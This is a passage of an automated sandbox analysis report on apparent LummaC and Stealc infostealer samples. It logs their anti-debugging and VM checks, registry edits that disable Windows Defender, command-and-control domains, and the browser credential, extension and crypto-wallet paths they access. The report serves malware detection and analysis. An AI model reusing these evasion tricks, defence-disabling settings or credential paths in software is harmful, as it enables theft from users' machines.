Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 226A43 second address: 226A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 226BFB second address: 226BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 226BFF second address: 226C05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 22701B second address: 22701F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 22701F second address: 22702B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 22702B second address: 227034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	RDTSC instruction interceptor: First address: 227034 second address: 227038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Special instruction interceptor: First address: 3A7B8A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Special instruction interceptor: First address: 54B06D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Special instruction interceptor: First address: 549A6C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Special instruction interceptor: First address: 56EC6A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Special instruction interceptor: First address: 5D4DAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Special instruction interceptor: First address: 6DB8B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Special instruction interceptor: First address: 21972F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Special instruction interceptor: First address: 21936B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Special instruction interceptor: First address: 2B86DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Special instruction interceptor: First address: F6FC93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Special instruction interceptor: First address: F6D2A6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Special instruction interceptor: First address: 11349F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Special instruction interceptor: First address: 119A974 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Special instruction interceptor: First address: 720A1 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Memory allocated: 4ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Memory allocated: 50D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Memory allocated: 4ED0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe TID: 2172	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe TID: 6308	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe TID: 7256	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe TID: 7768	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: JI1XME003OC9O5S8X2QF4.exe, JI1XME003OC9O5S8X2QF4.exe, 00000007.00000002.1771527320.00000000001F9000.00000040.00000001.01000000.00000006.sdmp, 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1778338320.00000000010EF000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: jYd7FUgGZc.exe, 00000003.00000003.1622587677.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.00000000017E3000.00000004.00000020.00020000.00000000.sdmp, 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.0000000001814000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: jYd7FUgGZc.exe, 00000003.00000003.1381551800.0000000005893000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: JI1XME003OC9O5S8X2QF4.exe, 00000007.00000002.1771527320.00000000001F9000.00000040.00000001.01000000.00000006.sdmp, 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1778338320.00000000010EF000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: jYd7FUgGZc.exe, 00000003.00000003.1382469174.0000000005886000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe PID: 7780, type: MEMORYSTR

LummaC encrypted strings found

Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz
Source: jYd7FUgGZc.exe, 00000003.00000003.1292624232.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tacitglibbr.biz

Source: JI1XME003OC9O5S8X2QF4.exe, JI1XME003OC9O5S8X2QF4.exe, 00000007.00000002.1771527320.00000000001F9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: Program Manager
Source: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe, 00000008.00000002.1778669927.0000000001133000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: EProgram Manager

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: jYd7FUgGZc.exe, 00000003.00000003.1622587677.00000000010D5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: jYd7FUgGZc.exe PID: 7024, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1691365307.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1777958771.0000000000D21000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe PID: 7780, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lets","m":["*"],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%app
Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets/ElectronCas
Source: jYd7FUgGZc.exe, 00000003.00000003.1480458013.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: inger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Bina
Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs"D
Source: jYd7FUgGZc.exe, 00000003.00000003.1382145280.000000000583F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t
Source: jYd7FUgGZc.exe, 00000003.00000003.1480458013.0000000001126000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: jYd7FUgGZc.exe, 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
